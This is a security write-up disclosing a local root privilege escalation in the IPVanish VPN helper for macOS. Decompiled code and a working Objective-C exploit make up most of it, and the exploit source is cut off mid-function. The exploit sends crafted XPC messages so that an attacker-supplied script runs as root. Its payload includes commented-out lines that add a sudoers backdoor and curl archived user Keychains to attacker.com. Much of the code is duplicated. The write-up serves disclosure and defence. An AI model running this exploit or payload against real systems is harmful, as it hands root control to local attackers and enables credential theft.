The IPVanish VPN application for macOS contains a critical privilege escalation vulnerability that allows any unprivileged local process to execute arbitrary code as root without user interaction. The attack vector requires only local access to the system where IPVanish VPN is installed. An attacker with the ability to execute code as an unprivileged user can exploit this vulnerability to gain complete control over the system. The attack requires no user interaction, no special privileges, and bypasses macOS security features including code signature verification. The core security flaw stems from the privileged helper tool’s failure to authenticate connecting XPC clients, combined with two additional weaknesses: (1) the OpenVPNPath parameter — which specifies the binary the helper launches as root via GCDTask — is accepted directly from the unauthenticated XPC message without any path or signature validation, enabling immediate arbitrary code execution as root; and (2) a logic error in code signature verification that allows unsigned scripts to be copied to root-owned directories and subsequently executed via OpenVPN’s –up hook mechanism as a secondary execution path.
What is IPVanish VPN?
IPVanish VPN is a commercial virtual private network application that provides users with encrypted internet connections and privacy protection. The application offers several key features including secure VPN tunneling using the OpenVPN protocol, DNS leak protection through custom DNS configuration, kill switch functionality to prevent data exposure when VPN connections drop, and automatic reconnection capabilities. The application architecture follows a common macOS design pattern for privileged operations, splitting functionality between a user-space application bundle and a privileged helper tool that runs with root privileges.
Lab Setup
Install IPVanish VPN Application
To reproduce this vulnerability, you must first install the IPVanish VPN application on a macOS system running macOS 10.13 (High Sierra) or later. Download the latest version of IPVanish VPN from the official website and complete the installation process. During installation, the application will prompt for administrator credentials to install the privileged helper tool. This is a necessary step as the helper tool must be installed with root privileges in a protected system directory.
After installation completes, verify that the privileged helper tool is properly installed and running by executing the following commands:
# Verify helper binary exists
ls -la /Library/PrivilegedHelperTools/com.ipvanish.osx.vpnhelper
# Check LaunchDaemon configuration
cat /Library/LaunchDaemons/com.ipvanish.osx.vpnhelper.plist
# Verify helper is running
sudo launchctl list | grep ipvanish
# Check helper process
ps aux | grep vpnhelper
# Verify helper binary exists
ls -la /Library/PrivilegedHelperTools/com.ipvanish.osx.vpnhelper
# Check LaunchDaemon configuration
cat /Library/LaunchDaemons/com.ipvanish.osx.vpnhelper.plist
# Verify helper is running
sudo launchctl list | grep ipvanish
# Check helper process
ps aux | grep vpnhelper
The helper binary should exist with the following permissions: -rwxr-xr-x root wheel, indicating it is owned by root and executable by all users. The LaunchDaemon plist should specify that the helper runs on-demand through the MachServices key, making it accessible via XPC.
Prepare Exploitation Environment
Create a working directory for the proof-of-concept code and payloads. This directory should be writable by your unprivileged user account:
# Create working directory
mkdir -p ~/ipvanish_research
cd ~/ipvanish_research
# Create temporary directory for payloads
mkdir -p /tmp/ipvanish_exploit
# Create working directory
mkdir -p ~/ipvanish_research
cd ~/ipvanish_research
# Create temporary directory for payloads
mkdir -p /tmp/ipvanish_exploit
Install Xcode Command Line Tools if not already present, as they are required to compile the Objective-C exploitation code:
# Install Xcode Command Line Tools
xcode-select --install
# Install Xcode Command Line Tools
xcode-select --install
Verify that you have the necessary compilation tools by checking for the presence of clang:
# Verify compiler
clang --version
# Verify compiler
clang --version
Verification and Testing Infrastructure
Before proceeding with exploitation, verify that the XPC service is accessible from unprivileged processes. Create a simple test program to validate XPC connectivity:
# Create test connectivity script
cat > test_xpc_connection.m << 'EOF'
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
int main() {
@autoreleasepool {
NSLog(@"[TEST] Attempting XPC connection...");
xpc_connection_t conn = xpc_connection_create_mach_service(
"com.ipvanish.osx.vpnhelper", NULL, 0);
if (!conn) {
NSLog(@"[FAIL] Could not create connection");
return 1;
}
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
NSLog(@"[TEST] Received event");
});
xpc_connection_resume(conn);
NSLog(@"[SUCCESS] Connection established");
sleep(2);
xpc_connection_cancel(conn);
xpc_release(conn);
return 0;
}
}
EOF
# Create test connectivity script
cat > test_xpc_connection.m << 'EOF'
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
int main() {
@autoreleasepool {
NSLog(@"[TEST] Attempting XPC connection...");
xpc_connection_t conn = xpc_connection_create_mach_service(
"com.ipvanish.osx.vpnhelper", NULL, 0);
if (!conn) {
NSLog(@"[FAIL] Could not create connection");
return 1;
}
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
NSLog(@"[TEST] Received event");
});
xpc_connection_resume(conn);
NSLog(@"[SUCCESS] Connection established");
sleep(2);
xpc_connection_cancel(conn);
xpc_release(conn);
return 0;
}
}
EOF
- Compile test program
clang -framework Foundation -framework XPC -o test_xpc_connection test_xpc_connection.m
clang -framework Foundation -framework XPC -o test_xpc_connection test_xpc_connection.m
- Run test (as unprivileged user)
./test_xpc_connection
./test_xpc_connection
If the test succeeds and prints “Connection established”, this confirms that the XPC service is accessible without authentication. This is the first vulnerability in the exploitation chain. If the connection fails, verify that the IPVanish helper is running and properly configured.
Monitor the helper’s diagnostic logs to observe XPC message handling:
# Watch helper logs in real-time
sudo tail -f "/Library/Application Support/com.ipvanish.osx.vpnhelper/Diagnostics/"*.log
# Watch helper logs in real-time
sudo tail -f "/Library/Application Support/com.ipvanish.osx.vpnhelper/Diagnostics/"*.log
The Analysis
The IPVanish privilege escalation vulnerability represents a complete failure of privilege separation security controls. The attack chain flows through multiple components of the privileged helper tool, each with critical security flaws that combine to enable arbitrary code execution as root. Understanding this vulnerability requires detailed analysis of the binary code, XPC message handling, file system operations, and process execution mechanisms.
Attack Flow Overview
The complete exploitation sequence follows a precise path through the helper tool’s code, beginning with XPC connection establishment and culminating in root code execution. The following diagram illustrates the complete attack flow:

Entry Point Analysis
The vulnerability exploitation begins when an unprivileged process establishes an XPC connection to the privileged helper tool. The helper tool creates an XPC listener using the Mach service name com.ipvanish.osx.vpnhelper and registers an event handler to process incoming messages. The critical security flaw at this entry point is the complete absence of any authentication or authorization checks on connecting clients. The XPC service initialization occurs in the VPNHelperService’s run method, which calls into the XPCService class to create a Mach service listener. When examining the decompiled code at address 0x100027104, we observe that the helper creates an XPC listener without specifying any security attributes or connection validation handlers. The event handler is configured to accept connections from any process that can access the Mach service name, which includes all local processes on the system. The helper never queries the connecting process’s effective user ID, never verifies the process’s code signature, never checks for specific entitlements, and never validates the connecting process’s bundle identifier against a whitelist of authorized callers.
XPCService.m – runMachService method (decompiled from 0x100027104):
+ (void)runMachService {
xpc_connection_t listener = xpc_connection_create_mach_service(
"com.ipvanish.osx.vpnhelper",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER // Listener mode, no auth flags
);
xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {
// Accept connection without checking caller identity
xpc_connection_set_event_handler(peer, ^(xpc_object_t message) {
[self handleMessage:message fromConnection:peer]; // User-controlled message
});
xpc_connection_resume(peer); // Activate connection immediately
});
xpc_connection_resume(listener); // Start accepting connections
}
+ (void)runMachService {
xpc_connection_t listener = xpc_connection_create_mach_service(
"com.ipvanish.osx.vpnhelper",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER // Listener mode, no auth flags
);
xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {
// Accept connection without checking caller identity
xpc_connection_set_event_handler(peer, ^(xpc_object_t message) {
[self handleMessage:message fromConnection:peer]; // User-controlled message
});
xpc_connection_resume(peer); // Activate connection immediately
});
xpc_connection_resume(listener); // Start accepting connections
}
This entry point vulnerability enables the entire attack chain because it allows unprivileged processes to send arbitrary XPC messages to the privileged helper. In a secure implementation, the event handler would immediately extract an audit token from the connection using xpc_connection_get_audit_token(), create a SecTask object from that token, verify the connecting process’s code signature matches the legitimate IPVanish application, and check for the presence of required entitlements. None of these security controls are present in the IPVanish implementation.
Data Flow Analysis
Once an unauthenticated connection is established, the attacker sends a crafted XPC message containing the command identifier and associated parameters. The helper tool’s event handler receives this message and processes it through a command dispatch mechanism that maps command strings to Objective-C selectors. This design pattern, while providing flexibility, introduces additional security risks when combined with missing authentication. The event handler code at address 0x10001d567 implements the message dispatch logic. When an XPC message arrives, the handler extracts the value associated with the VPNHelperCommand key, which specifies which privileged operation the caller wants to perform. The helper maintains an internal dictionary that maps command strings like VPNHelperConnect to selector names like connectHandler:error:. The handler then uses the Objective-C runtime function NSSelectorFromString to convert the string into a selector and invokes it using performSelector:withObject:.
VPNHelperService.m – Event handler method (decompiled from 0x10001d567):
- (void)handleXPCMessage:(xpc_object_t)message fromConnection:(xpc_connection_t)connection {
// VULNERABILITY: Extract command from untrusted source without validation
const char *commandStr = xpc_dictionary_get_string(message, "VPNHelperCommand");
if (commandStr == NULL) {
// No command specified, exit
exit(0);
}
NSString *command = [NSString stringWithUTF8String:commandStr]; // User-controlled
// SECURITY FLAW: Map user-controlled string directly to method selector
NSDictionary *commandMap = @{
@"VPNHelperConnect": @"connectHandler:error:", // Attacker can invoke
@"VPNHelperDisconnect": @"disconnectHandler:error:", // Any of these
@"VPNHelperResetDNS": @"resetDNSHandler:error:", // Without restriction
@"VPNHelperNukeDNS": @"nukeDNSHandler:error:",
@"VPNHelperKillSwitch": @"killSwitchHandler:error:"
};
NSString *selectorName = commandMap[command]; // Look up selector for command
if (selectorName == nil) {
// Unknown command, ignore
return;
}
// VULNERABILITY: Convert user-controlled string to selector
SEL selector = NSSelectorFromString(selectorName); // User determines which method
// CRITICAL FLAW: Extract parameters from untrusted message
// These parameters are completely attacker-controlled
xpc_object_t params = xpc_dictionary_get_value(message, "Parameters");
NSDictionary *parameters = [self dictionaryFromXPCObject:params]; // User data
NSError *error = nil;
// VULNERABILITY: Invoke privileged method with user-controlled parameters
// Running as root (UID 0) with attacker's data!
BOOL success = [self performSelector:selector
withObject:parameters
withObject:&error]; // Execute as root
// Send reply (success or error) back to caller
xpc_object_t reply = xpc_dictionary_create_reply(message);
if (success) {
xpc_dictionary_set_string(reply, "status", "success");
} else {
xpc_dictionary_set_string(reply, "XPCErrorDescription",
[[error localizedDescription] UTF8String]);
}
xpc_connection_send_message(connection, reply);
xpc_release(reply);
}
- (void)handleXPCMessage:(xpc_object_t)message fromConnection:(xpc_connection_t)connection {
// VULNERABILITY: Extract command from untrusted source without validation
const char *commandStr = xpc_dictionary_get_string(message, "VPNHelperCommand");
if (commandStr == NULL) {
// No command specified, exit
exit(0);
}
NSString *command = [NSString stringWithUTF8String:commandStr]; // User-controlled
// SECURITY FLAW: Map user-controlled string directly to method selector
NSDictionary *commandMap = @{
@"VPNHelperConnect": @"connectHandler:error:", // Attacker can invoke
@"VPNHelperDisconnect": @"disconnectHandler:error:", // Any of these
@"VPNHelperResetDNS": @"resetDNSHandler:error:", // Without restriction
@"VPNHelperNukeDNS": @"nukeDNSHandler:error:",
@"VPNHelperKillSwitch": @"killSwitchHandler:error:"
};
NSString *selectorName = commandMap[command]; // Look up selector for command
if (selectorName == nil) {
// Unknown command, ignore
return;
}
// VULNERABILITY: Convert user-controlled string to selector
SEL selector = NSSelectorFromString(selectorName); // User determines which method
// CRITICAL FLAW: Extract parameters from untrusted message
// These parameters are completely attacker-controlled
xpc_object_t params = xpc_dictionary_get_value(message, "Parameters");
NSDictionary *parameters = [self dictionaryFromXPCObject:params]; // User data
NSError *error = nil;
// VULNERABILITY: Invoke privileged method with user-controlled parameters
// Running as root (UID 0) with attacker's data!
BOOL success = [self performSelector:selector
withObject:parameters
withObject:&error]; // Execute as root
// Send reply (success or error) back to caller
xpc_object_t reply = xpc_dictionary_create_reply(message);
if (success) {
xpc_dictionary_set_string(reply, "status", "success");
} else {
xpc_dictionary_set_string(reply, "XPCErrorDescription",
[[error localizedDescription] UTF8String]);
}
xpc_connection_send_message(connection, reply);
xpc_release(reply);
}
This command dispatch mechanism demonstrates a fundamental misunderstanding of the trust boundary between the unprivileged client and the privileged helper. The helper treats XPC message contents as trusted input, directly extracting command identifiers and parameters without validation or sanitization. While the command map provides some limitation by restricting the set of invocable selectors, it still allows an attacker to call any of the mapped privileged operations with arbitrary parameters. The parameter extraction process is particularly critical to the exploitation chain. The helper extracts a dictionary of parameters from the XPC message and passes this dictionary directly to the handler method. For the VPNHelperConnect command, these parameters include file paths for the OpenVPN binary, configuration files, and script files. The helper assumes these paths are safe and point to legitimate IPVanish application resources. In reality, an attacker controls these values completely and can specify arbitrary file system paths including paths to attacker-controlled files in world-writable directories like /tmp/.
Core Vulnerability Analysis
The most sophisticated component of this vulnerability chain is the code signature verification bypass in the file copying logic. The helper tool implements a method called copyHelperTool:error: that is responsible for copying files from user-specified locations to privileged directories owned by root. This method is intended to copy legitimate IPVanish resources like OpenVPN configuration files and scripts from the application bundle to the helper’s working directory. The security flaw lies in the conditional logic that determines whether to verify a file’s code signature. The vulnerable code at address 0x10001436f checks whether the source file has the executable permission bit set before deciding whether to verify its code signature. The logic assumes that non-executable files pose no security risk and therefore do not require signature verification. This assumption is fatally flawed because the method modifies file permissions after copying the file to the privileged location. An attacker can exploit this by creating a malicious script without the execute bit, causing the signature check to be skipped, and relying on the helper to make the file executable after copying it.
OpenVPNHelperService.m – copyHelperTool method (decompiled from 0x10001436f):
- (NSURL *)copyHelperTool:(NSString *)sourcePath error:(NSError **)error {
NSURL *sourceURL = [NSURL fileURLWithPath:sourcePath]; // User-controlled path
NSFileManager *fileManager = [NSFileManager defaultManager];
// This allows bypassing signature check by creating non-executable files
BOOL isExecutable = [fileManager isExecutableFileAtPath:sourcePath];
// CRITICAL FLAW: Only verify signature if file is executable
if (isExecutable) {
// This branch is only taken for executable files
if (![self verifyCodeSignature:sourceURL]) {
// Signature verification failed for executable file
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1001
userInfo:@{
NSLocalizedDescriptionKey:
@"Could not verify code signature"
}];
return nil; // Reject unsigned executable
}
}
// VULNERABILITY 2: Non-executable files skip signature verification entirely!
// If isExecutable == NO, control flow reaches here WITHOUT signature check
// Get destination directory (privileged location owned by root)
NSURL *appSupportDir = [self appSupportDirectoryWithError:error];
// Returns: /Library/Application Support/com.ipvanish.osx.vpnhelper/
if (appSupportDir == nil) {
return nil;
}
// Extract filename from source path
NSString *filename = [sourceURL lastPathComponent]; // User-controlled filename
// Build destination path
NSURL *destinationURL = [appSupportDir URLByAppendingPathComponent:filename];
// Destination is now: /Library/.../vpnhelper/exploit.sh (user-controlled name)
// This operation runs as root, so destination is owned by root:wheel
BOOL copySuccess = [fileManager copyItemAtURL:sourceURL
toURL:destinationURL
error:error];
if (!copySuccess) {
return nil;
}
// File was NOT executable during signature check, but IS executable after this
NSDictionary *attributes = @{
NSFilePosixPermissions: @(0x140) // 0x140 = 0o500 = r-x------
};
// Set permissions to make file executable by root
BOOL permSuccess = [fileManager setAttributes:attributes
ofItemAtPath:[destinationURL path]
error:error];
if (!permSuccess) {
return nil;
}
return destinationURL; // Return path to copied unsigned executable
}
- (NSURL *)copyHelperTool:(NSString *)sourcePath error:(NSError **)error {
NSURL *sourceURL = [NSURL fileURLWithPath:sourcePath]; // User-controlled path
NSFileManager *fileManager = [NSFileManager defaultManager];
// This allows bypassing signature check by creating non-executable files
BOOL isExecutable = [fileManager isExecutableFileAtPath:sourcePath];
// CRITICAL FLAW: Only verify signature if file is executable
if (isExecutable) {
// This branch is only taken for executable files
if (![self verifyCodeSignature:sourceURL]) {
// Signature verification failed for executable file
*error = [NSError errorWithDomain:@"com.ipvanish.osx.vpnhelper"
code:1001
userInfo:@{
NSLocalizedDescriptionKey:
@"Could not verify code signature"
}];
return nil; // Reject unsigned executable
}
}
// VULNERABILITY 2: Non-executable files skip signature verification entirely!
// If isExecutable == NO, control flow reaches here WITHOUT signature check
// Get destination directory (privileged location owned by root)
NSURL *appSupportDir = [self appSupportDirectoryWithError:error];
// Returns: /Library/Application Support/com.ipvanish.osx.vpnhelper/
if (appSupportDir == nil) {
return nil;
}
// Extract filename from source path
NSString *filename = [sourceURL lastPathComponent]; // User-controlled filename
// Build destination path
NSURL *destinationURL = [appSupportDir URLByAppendingPathComponent:filename];
// Destination is now: /Library/.../vpnhelper/exploit.sh (user-controlled name)
// This operation runs as root, so destination is owned by root:wheel
BOOL copySuccess = [fileManager copyItemAtURL:sourceURL
toURL:destinationURL
error:error];
if (!copySuccess) {
return nil;
}
// File was NOT executable during signature check, but IS executable after this
NSDictionary *attributes = @{
NSFilePosixPermissions: @(0x140) // 0x140 = 0o500 = r-x------
};
// Set permissions to make file executable by root
BOOL permSuccess = [fileManager setAttributes:attributes
ofItemAtPath:[destinationURL path]
error:error];
if (!permSuccess) {
return nil;
}
return destinationURL; // Return path to copied unsigned executable
}
The attack technique works as follows:
The attacker creates a malicious shell script containing arbitrary commands and writes it to a user-writable location like /tmp/exploit.sh. The attacker explicitly sets the file permissions to 0644 (rw-r–r–), ensuring the execute bit is not set. When the helper’s copyHelperTool:error: method is invoked with this file path, the isExecutableFileAtPath:check returns NO, the signature verification block is skipped, and the file is copied to /Library/Application Support/com.ipvanish.osx.vpnhelper/exploit.sh with root:wheel ownership. The helper then calls setAttributes:ofItemAtPath:error: to change the permissions to 0500 (r-x——), making the file executable. The result is an unsigned, attacker-controlled executable file in a privileged directory, ready to be executed as root.
Impact Analysis
The final stage of the exploitation chain involves two distinct execution vectors that both result in the attacker’s script running as root. The primary vector is direct: the OpenVPNPath parameter, which the helper uses as the launch path for the “OpenVPN binary” via GCDTask, is set directly to /tmp/exploit.sh. The helper never validates that this path is an actual OpenVPN binary or that it is signed — it simply executes whatever path is provided. This means root code execution occurs the moment “GCDTask launch is called, without needing to wait for any VPN connection to establish.
The secondary vector exploits OpenVPN’s –up hook mechanism. The OpenVPNUpScriptPath and OpenVPNCertificatePath parameters both reference /tmp/exploit.sh, which is routed through copyHelperTool:error:, bypassing signature verification because the file lacks the execute bit. The file is copied to /Library/Application Support/com.ipvanish.osx.vpnhelper/ with root:wheel ownership and permissions 0500, then passed as the –up argument. Importantly, OpenVPNDownScriptPath in the actual exploit is set to the legitimate client-down script from the application bundle — the exploit does not need the –down hook. The command building and OpenVPN launch logic occurs in the connectWithParameters:andError: method at address 0x1000117fb. This method orchestrates the entire VPN connection process, including copying required files, building the OpenVPN command line, and launching the process using the GCDTask framework. The critical vulnerability is that OpenVPNPath— an attacker-controlled value from the XPC message — is used directly as the executable path without any validation.
OpenVPNHelperService.m – connectWithParameters method (decompiled from 0x1000117fb):
- (BOOL)connectWithParameters:(NSDictionary *)parameters error:(NSError **)errorPtr {
NSError *error = nil;
// Extract OpenVPN binary path from parameters
NSString *openvpnPath = parameters[@"OpenVPNPath"]; // User-controlled
// Extract script paths from parameters
// VULNERABILITY: These paths are attacker-controlled through XPC message
NSString *upScriptPath = parameters[@"OpenVPNUpScriptPath"]; // User-controlled
NSString *downScriptPath = parameters[@"OpenVPNDownScriptPath"]; // User-controlled
NSString *certPath = parameters[@"OpenVPNCertificatePath"]; // User-controlled
NSString *fwScriptPath = parameters[@"OpenVPNFirewallKSScriptPath"]; // User-controlled
// Array of script keys to process
NSArray *scriptKeys = @[
@"OpenVPNUpScriptPath",
@"OpenVPNDownScriptPath",
@"OpenVPNCertificatePath",
@"OpenVPNFirewallKSScriptPath"
];
// Dictionary to store copied file URLs
NSMutableDictionary *copiedFiles = [NSMutableDictionary dictionary];
// VULNERABILITY 1: Loop through attacker-controlled script paths
for (NSString *key in scriptKeys) {
NSString *sourcePath = parameters[key]; // Attacker specifies source path
if (sourcePath != nil) {
// Log the copy operation
[DDLog log:DDLogLevelInfo
format:@"Parameter %@ found. %@", key, sourcePath];
NSURL *copiedURL = [self copyHelperTool:sourcePath error:&error];
if (copiedURL == nil) {
// Copy failed, abort connection
*errorPtr = error;
return NO;
}
// Store copied file URL for later use in OpenVPN arguments
copiedFiles[key] = copiedURL; // Attacker's unsigned executable
}
}
// Extract copied script URLs
NSURL *copiedUpScript = copiedFiles[@"OpenVPNUpScriptPath"];
NSURL *copiedDownScript = copiedFiles[@"OpenVPNDownScriptPath"];
// Build OpenVPN command-line arguments array
NSMutableArray *openvpnArgs = [[NSMutableArray alloc] init];
// Add script security parameter
[openvpnArgs addObject:@"--script-security"];
[openvpnArgs addObject:@"2"]; // Level 2: Allow script execution
// Add configuration file parameter
NSString *configPath = parameters[@"OpenVPNConfigPath"]; // User-controlled
NSURL *copiedConfig = [self copyHelperTool:configPath error:&error];
[openvpnArgs addObject:@"--config"];
[openvpnArgs addObject:[copiedConfig path]];
// This script will execute as root when VPN connection is established
if (copiedUpScript != nil) {
[openvpnArgs addObject:@"--up"];
[openvpnArgs addObject:[copiedUpScript lastPathComponent]];
// Path is now: /Library/.../vpnhelper/exploit.sh (unsigned, root-owned)
}
// This script will execute when VPN connection is terminated
if (copiedDownScript != nil) {
[openvpnArgs addObject:@"--down"];
[openvpnArgs addObject:[copiedDownScript lastPathComponent]];
// Path is now: /Library/.../vpnhelper/client-down (legitimate app script)
// OpenVPNDownScriptPath is NOT used as an exploit vector in the PoC
}
// Add other OpenVPN parameters (remote, port, cipher, etc.)
[openvpnArgs addObject:@"--remote"];
[openvpnArgs addObject:parameters[@"VPNHelperHostname"]]; // User-controlled
[openvpnArgs addObject:parameters[@"VPNHelperPort"]]; // User-controlled
[openvpnArgs addObject:@"--proto"];
[openvpnArgs addObject:parameters[@"OpenVPNProtocol"]]; // User-controlled
// Create `GCDTask` to launch OpenVPN process
`GCDTask` *openvpnTask = [[`GCDTask` alloc] initWithLaunchPath:openvpnPath
andArguments:openvpnArgs];
// Set launch handler (executes when process starts)
[openvpnTask setLaunchHandler:^{
NSLog(@"OpenVPN process launched with PID: %d", [openvpnTask processIdentifier]);
}];
// Set output handler to capture stdout/stderr
[openvpnTask setOutputHandler:^(NSString *output) {
[DDLog log:DDLogLevelDebug format:@"OpenVPN: %@", output];
}];
// Store task reference
[self setOpenVPNTask:openvpnTask];
[self setCurrentStatus:VPNStatusConnecting];
// CRITICAL VULNERABILITY 4: Launch with attacker-controlled OpenVPNPath as root
// openvpnPath = /tmp/exploit.sh (directly from XPC message, no validation)
// The "binary" being launched IS the exploit script itself
[openvpnTask launch];
// Executes: /tmp/exploit.sh --script-security 2 --config ... --up exploit.sh --down client-down ...
return YES; // Success - exploitation complete
}
- (BOOL)connectWithParameters:(NSDictionary *)parameters error:(NSError **)errorPtr {
NSError *error = nil;
// Extract OpenVPN binary path from parameters
NSString *openvpnPath = parameters[@"OpenVPNPath"]; // User-controlled
// Extract script paths from parameters
// VULNERABILITY: These paths are attacker-controlled through XPC message
NSString *upScriptPath = parameters[@"OpenVPNUpScriptPath"]; // User-controlled
NSString *downScriptPath = parameters[@"OpenVPNDownScriptPath"]; // User-controlled
NSString *certPath = parameters[@"OpenVPNCertificatePath"]; // User-controlled
NSString *fwScriptPath = parameters[@"OpenVPNFirewallKSScriptPath"]; // User-controlled
// Array of script keys to process
NSArray *scriptKeys = @[
@"OpenVPNUpScriptPath",
@"OpenVPNDownScriptPath",
@"OpenVPNCertificatePath",
@"OpenVPNFirewallKSScriptPath"
];
// Dictionary to store copied file URLs
NSMutableDictionary *copiedFiles = [NSMutableDictionary dictionary];
// VULNERABILITY 1: Loop through attacker-controlled script paths
for (NSString *key in scriptKeys) {
NSString *sourcePath = parameters[key]; // Attacker specifies source path
if (sourcePath != nil) {
// Log the copy operation
[DDLog log:DDLogLevelInfo
format:@"Parameter %@ found. %@", key, sourcePath];
NSURL *copiedURL = [self copyHelperTool:sourcePath error:&error];
if (copiedURL == nil) {
// Copy failed, abort connection
*errorPtr = error;
return NO;
}
// Store copied file URL for later use in OpenVPN arguments
copiedFiles[key] = copiedURL; // Attacker's unsigned executable
}
}
// Extract copied script URLs
NSURL *copiedUpScript = copiedFiles[@"OpenVPNUpScriptPath"];
NSURL *copiedDownScript = copiedFiles[@"OpenVPNDownScriptPath"];
// Build OpenVPN command-line arguments array
NSMutableArray *openvpnArgs = [[NSMutableArray alloc] init];
// Add script security parameter
[openvpnArgs addObject:@"--script-security"];
[openvpnArgs addObject:@"2"]; // Level 2: Allow script execution
// Add configuration file parameter
NSString *configPath = parameters[@"OpenVPNConfigPath"]; // User-controlled
NSURL *copiedConfig = [self copyHelperTool:configPath error:&error];
[openvpnArgs addObject:@"--config"];
[openvpnArgs addObject:[copiedConfig path]];
// This script will execute as root when VPN connection is established
if (copiedUpScript != nil) {
[openvpnArgs addObject:@"--up"];
[openvpnArgs addObject:[copiedUpScript lastPathComponent]];
// Path is now: /Library/.../vpnhelper/exploit.sh (unsigned, root-owned)
}
// This script will execute when VPN connection is terminated
if (copiedDownScript != nil) {
[openvpnArgs addObject:@"--down"];
[openvpnArgs addObject:[copiedDownScript lastPathComponent]];
// Path is now: /Library/.../vpnhelper/client-down (legitimate app script)
// OpenVPNDownScriptPath is NOT used as an exploit vector in the PoC
}
// Add other OpenVPN parameters (remote, port, cipher, etc.)
[openvpnArgs addObject:@"--remote"];
[openvpnArgs addObject:parameters[@"VPNHelperHostname"]]; // User-controlled
[openvpnArgs addObject:parameters[@"VPNHelperPort"]]; // User-controlled
[openvpnArgs addObject:@"--proto"];
[openvpnArgs addObject:parameters[@"OpenVPNProtocol"]]; // User-controlled
// Create `GCDTask` to launch OpenVPN process
`GCDTask` *openvpnTask = [[`GCDTask` alloc] initWithLaunchPath:openvpnPath
andArguments:openvpnArgs];
// Set launch handler (executes when process starts)
[openvpnTask setLaunchHandler:^{
NSLog(@"OpenVPN process launched with PID: %d", [openvpnTask processIdentifier]);
}];
// Set output handler to capture stdout/stderr
[openvpnTask setOutputHandler:^(NSString *output) {
[DDLog log:DDLogLevelDebug format:@"OpenVPN: %@", output];
}];
// Store task reference
[self setOpenVPNTask:openvpnTask];
[self setCurrentStatus:VPNStatusConnecting];
// CRITICAL VULNERABILITY 4: Launch with attacker-controlled OpenVPNPath as root
// openvpnPath = /tmp/exploit.sh (directly from XPC message, no validation)
// The "binary" being launched IS the exploit script itself
[openvpnTask launch];
// Executes: /tmp/exploit.sh --script-security 2 --config ... --up exploit.sh --down client-down ...
return YES; // Success - exploitation complete
}
The exploit achieves root code execution via two vectors. Primarily, OpenVPNPath is set to /tmp/exploit.sh, so the helper’s GCDTask launches the exploit script directly as the process binary with UID 0 — this happens immediately, before any VPN connection is attempted. Secondarily, the exploit script is also copied through copyHelperTool: into the privileged directory and passed as the –up argument, so it executes again via /bin/sh if the VPN connection establishment proceeds. The –down argument points to the legitimate client-down script from the application bundle; it is not weaponized in the exploit. Because the helper process runs as UID 0, both execution paths produce a root shell environment for the attacker’s payload.
Exploitation
The following Objective-C program implements the complete exploitation chain. The program creates a malicious payload script, establishes an unauthenticated XPC connection to the privileged helper, and sends crafted parameters to trigger root code execution. The primary mechanism is setting OpenVPNPath to the exploit script path — the helper passes this directly to GCDTask as the executable, launching it as UID 0 with no validation. As a secondary vector, OpenVPNUpScriptPath and OpenVPNCertificatePath are also pointed at the exploit script, which the helper copies into a privileged directory (bypassing signature verification because the file lacks the execute bit) and passes as the OpenVPN –up argument. OpenVPNDownScriptPath uses the legitimate client-down script from the application bundle.
exploit_ipvanish.m – Complete privilege escalation exploit:
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
#include <unistd.h>
#include <stdlib.h>
#define SERVICE_NAME "com.ipvanish.osx.vpnhelper"
#define EXPLOIT_SCRIPT_PATH "/tmp/ipvanish_exploit.sh"
#define CONFIG_FILE_PATH "/tmp/ipvanish_config.ovpn"
#define PROOF_FILE "/tmp/ipvanish_pwned_root.txt"
// Create malicious payload script
void createExploitPayload(void) {
NSLog(@"[*] Creating malicious payload at %s", EXPLOIT_SCRIPT_PATH);
// Payload: Create proof file owned by root
NSString *payload = @"#!/bin/bash\n"
@"# IPVanish Privilege Escalation PoC\n"
@"# This script executes as root (UID 0)\n"
@"\n"
@"echo \"[EXPLOIT] Script executed as $(whoami)\" > " PROOF_FILE "\n"
@"echo \"[EXPLOIT] UID: $(id -u)\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] GID: $(id -g)\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] Date: $(date)\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] Process: $$\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] Parent: $PPID\" >> " PROOF_FILE "\n"
@"echo \"[EXPLOIT] SUCCESS - Root code execution achieved\" >> " PROOF_FILE "\n"
@"\n"
@"# Persistence example (commented out for safety)\n"
@"# echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers.d/backdoor\n"
@"\n"
@"# Exfiltration example (commented out for safety)\n"
@"# tar czf /tmp/creds.tar.gz /Users/*/Library/Keychains/\n"
@"# curl -X POST -F \"file=@/tmp/creds.tar.gz\" http://attacker.com/exfil\n";
NSError *error = nil;
BOOL success = [payload writeToFile:@EXPLOIT_SCRIPT_PATH
atomically:YES
encoding:NSUTF8StringEncoding
error:&error];
if (!success) {
NSLog(@"[-] Failed to create payload: %@", error);
exit(1);
}
// CRITICAL: Set to 0644 (rw-r--r--) to bypass signature verification
// The helper only checks signatures on executable files
chmod(EXPLOIT_SCRIPT_PATH, 0644);
NSLog(@"[+] Payload created with permissions 0644 (NOT executable)");
}
// Create minimal OpenVPN configuration file
void createConfigFile(void) {
NSLog(@"[*] Creating OpenVPN configuration at %s", CONFIG_FILE_PATH);
NSString *config = @"client\n"
@"dev tun\n"
@"proto udp\n"
@"remote 192.0.2.1 1194\n" // TEST-NET-1 (documentation address)
@"resolv-retry infinite\n"
@"nobind\n"
@"persist-key\n"
@"persist-tun\n"
@"cipher AES-256-CBC\n"
@"verb 3\n";
[config writeToFile:@CONFIG_FILE_PATH
atomically:YES
encoding:NSUTF8StringEncoding
error:nil];
NSLog(@"[+] Configuration file created");
}
// Send exploit message via XPC
void sendExploitMessage(void) {
NSLog(@"[*] Connecting to XPC service: %s", SERVICE_NAME);
// VULNERABILITY 1: Create connection without authentication
// The helper accepts connections from ANY process
xpc_connection_t connection = xpc_connection_create_mach_service(
SERVICE_NAME,
NULL,
0 // No flags - any process can connect
);
if (!connection) {
